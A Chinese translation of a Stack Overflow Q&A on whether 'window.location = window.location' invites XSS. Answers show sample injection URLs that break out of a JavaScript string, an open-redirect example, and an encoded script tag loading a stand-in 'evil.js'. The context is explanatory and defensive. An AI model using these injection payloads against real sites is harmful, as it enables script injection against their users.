window.location = window.location容易受到XSS攻击吗?

8
这个问题涉及到代码 window.location = window.location 作为刷新页面的方法,与重定向/其他变量无关。
我的理解是: window.location = window.location 导致页面刷新,因为浏览器将导航到用户已经在的相同位置。
通过DOM操作更改此变量将导致页面重新加载/加载攻击者的页面,因此这些行不能使用更改后的值执行,因此不是跨站点脚本攻击的候选项。 这是正确的吗? 编辑:我真正想问的是是否有一种方法可以更改 window.location 而不会导致页面重新加载,这样当进行 window.location = window.location 的调用时,浏览器将被发送到另一个位置。

1
如果有人打开控制台并键入任意的JavaScript代码,那么你的网站就会变得容易受攻击。 - Gogol
如果你执行 window.location = window.location 并且页面重新加载... 那么同样的事情会再次发生... 你将进入无限循环。 - Al.G.
@Al.G. 我认为可以合理地假设这不会在页面加载时调用。 - charlietfl
是的,这似乎是正确的,但你为什么不直接使用window.location.reload()呢? - Bergi
我非常确定,在攻击者已经完全控制您的页面之前,没有办法更改window.location - Bergi
显示剩余5条评论
2个回答

8
如果我正确理解您的问题,那么这些答案都是不正确的。可以利用 window.location 进行xss攻击。似乎您遇到的障碍是当执行了 window.location 后,页面会刷新并跳过执行 yourpayload 的操作。我假设您可以在 window.location 的右侧字符串中引入内容,并且输入未被正确编码为 JavaScript 字符串。
例如,如果 http://vulnerablewebsite/page?param=derp';alert('xss');var+a+%3d+' 会生成以下代码:
<script>
  window.location='derp';alert('xss');var a = '';
</script>

你可以利用字符串连接将window.location的赋值推迟到有效负载执行后。代码示例如下: http://vulnerablewebsite/page?param=derp'+%2B+alert('xss')+%2b+' 这样会生成以下代码,从而执行你的有效负载。
<script>
  window.location='derp' + alert('xss') + '';
</script>

这个问题应该在安全 StackExchange 上讨论。


很棒的答案,我不知道在window.location重定向之前可以执行代码。 - docta_faustus

4
问题与 window.location 无关,而与您处理在新上下文中使用的任意数据有关。
如果您从 URL 获取输入并使用它来构建一个新的重定向 URL,那么您会遇到问题。考虑经典的重定向页面...
http://example.com/redirect?url=http%3A%2F%2Fsomethingevil

如果页面上有JavaScript,然后将window.location设置为查询字符串参数url的值,那么页面将跳转到http://somethingevil

XSS主要是通过允许查询字符串参数向页面本身注入数据来实现的。例如,您可能有一个页面显示“Hello Brad”,其中“Brad”来自名为name的URL参数。现在,假设攻击者代替将URL设置为name=%3Cscript%20src%3D%22http%3A%2F%2Fexample.com%2Fevil.js%22%3E%3C%2Fscript%3E。如果我直接将name的值注入到页面中,则我的脚本evil.js将在该页面上运行。如果我适当地转义数据,那么它可以作为文本在页面中使用。


我真正想问的是是否有一种方法可以在不引起页面重新加载的情况下更改“window.location”,这样当进行“window.location = window.location”调用时,浏览器将被发送到另一个位置。 - Milk
@Milk 我不明白? 你为什么要这样做,这与XSS有什么关系? - Brad
1
问题中的那行代码被安全扫描识别为通过DOM操作潜在地利用跨站脚本攻击的漏洞。我不相信以这种方式利用那一行是可能的。因此提出了这个问题。 - Milk
1
哦,我不会对自动化扫描有太多深度理解。如果最初没有问题的话,那没问题。 - Brad

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接